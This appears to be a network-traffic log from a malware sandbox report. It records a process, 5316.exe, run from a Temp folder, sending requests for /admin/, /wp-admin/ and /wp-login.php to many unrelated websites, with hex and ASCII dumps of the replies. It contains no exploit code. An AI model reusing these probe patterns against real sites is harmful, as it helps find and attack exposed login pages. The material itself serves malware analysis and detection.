2023-12-20 02:13:39 UTC	1293	IN	Data Raw: 35 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c Data Ascii: 506<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><titl
2023-12-20 02:13:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	51583	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	327	OUT	GET /admin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_WhhWoJ39lu7/gI48B5HR9EzkjJf+TAQ63o3FojKwYZEhFAWW3xPfc+lt61iZn2ukm+4ei2EKpgNWN4MfAWZ0+A Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	51584	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	326	OUT	GET /admin/ HTTP/1.1 Host: topshelfgames.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Tf8ZPsJK12z4EKHoX9MSem7hd8tln/70jhwmUX1XgK8mRVrKlMVjy8AtF385ug7DIoLMiqcRxrzYSzHHCyhYaA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	51602	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	327	OUT	GET /admin/ HTTP/1.1 Host: mobiamericas.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_CXxW2djtBxHKaNpRV7yqLH/HzT7ZLLAxYh//CZUwmSO9PKSh/DxtcfXIl6271XJddYWG1NXEbiclw1T7PE7mOg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	51601	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	320	OUT	GET /admin/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:39 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:39 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_kZHqVa18vDgNRyBc7mwtiGJ1B6tV1E5nFsamzb2xtaWrnxDAA/rR+4SGM1Rdv7UGYuy+/fFLIT29yL8QKylFlA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:39 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	51662	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	786	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Frame-Options: SAMEORIGIN Set-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; secure Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WvdlKp%2FwYPcfeVd71HdRNaS9oWFS2sbgEQbxmQxOl2vDEfHOQgcLTK5MPqbOMl2%2BV5oC23fWaWdBkymSOfSWeS0Nan8MIYHQDbCQz%2Bon6%2BtBgQXR4kp044vNByj9paiS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845e0c5db9748a-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:40 UTC	583	IN	Data Raw: 31 35 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 4d 61 6a 6f 72 4d 65 67 61 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 22 Data Ascii: 1532<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; MajorMega.com — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive"
2023-12-20 02:13:40 UTC	1369	IN	Data Raw: 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 6f 67 69 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 Data Ascii: -admin/css/forms.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="l10n-css" href="https://majormega.com/wp-admin/css/l10n.min.css?ver=6.3.2" media="all" /><link rel="stylesheet" id="login-css" href="https://majormega.com/wp-admin/css/login.mi
2023-12-20 02:13:40 UTC	1369	IN	Data Raw: 73 73 77 6f 72 64 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 64 61 73 68 69 63 6f 6e 73 20 64 61 73 68 69 63 6f 6e 73 2d 76 69 73 69 62 69 6c 69 74 79 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 66 6f 72 67 65 74 6d 65 6e 6f 74 22 3e 3c 69 6e 70 75 74 20 6e 61 6d 65 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 69 64 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 20 76 61 6c 75 65 3d 22 66 6f 72 65 76 65 72 22 20 2f 3e 20 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 72 65 6d 65 6d 62 65 72 6d 65 22 3e 52 65 6d 65 6d 62 65 72 20 4d 65 3c 2f 6c 61 62 65 6c 3e 3c 2f 70 3e 0a 3c 70 20 Data Ascii: ssword"><span class="dashicons dashicons-visibility" aria-hidden="true"></span></button></div></div><p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p><p
2023-12-20 02:13:40 UTC	1369	IN	Data Raw: 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 30 22 20 69 64 3d 22 7a 78 63 76 62 6e 2d 61 73 79 6e 63 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 2e 32 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 69 6e 65 72 74 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d Data Ascii: script src="https://majormega.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0" id="zxcvbn-async-js"></script><script src="https://majormega.com/wp-includes/js/dist/vendor/wp-polyfill-inert.min.js?ver=3.1.2" id="wp-polyfill-inert-js"></script><script src=
2023-12-20 02:13:40 UTC	744	IN	Data Raw: 61 64 6d 69 6e 5c 2f 61 64 6d 69 6e 2d 61 6a 61 78 2e 70 68 70 22 7d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6a 6f 72 6d 65 67 61 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 77 70 2d 75 74 69 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 33 2e 32 22 20 69 64 3d 22 77 70 2d 75 74 69 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 65 39 65 39 61 62 34 36 62 32 22 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 Data Ascii: admin\/admin-ajax.php"}};</script><script src="https://majormega.com/wp-includes/js/wp-util.min.js?ver=6.3.2" id="wp-util-js"></script><script id="user-profile-js-extra">var userProfileL10n = {"user_id":"0","nonce":"e9e9ab46b2"};</script><script src
2023-12-20 02:13:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	51486	83.98.155.23	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	175	OUT	GET /wp-admin/ HTTP/1.1 Host: a2b-internet.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	373	IN	HTTP/1.1 302 Found Date: Wed, 20 Dec 2023 02:13:40 GMT Server: Apache/2 X-Powered-By: PHP/7.4.33 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.a2b-internet.com Cache-Control: max-age=0 Expires: Wed, 20 Dec 2023 02:13:40 GMT Vary: Accept-Encoding,User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	51596	34.149.87.45	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:39 UTC	173	OUT	GET /admin HTTP/1.1 Host: www.orangutech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	923	IN	HTTP/1.1 404 Not Found Content-Length: 2929 Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038420.00216549370207832690 Cache-Control: public,max-age=0,must-revalidate Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:40 GMT Age: 2 X-Served-By: cache-dfw-kdfw8210152-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=hit, varnish;desc=hit_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLquxVSF9nMFA2iLo/JtJR4Qa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRaloR37yBwto27sHfVedTe4LpzFcK7e5XwSbSU8vWThqRqtswLYe5cSsXSAIMfjvKcQg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:40 UTC	329	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-12-20 02:13:40 UTC	1252	IN	Data Raw: 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 Data Ascii: name="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet"
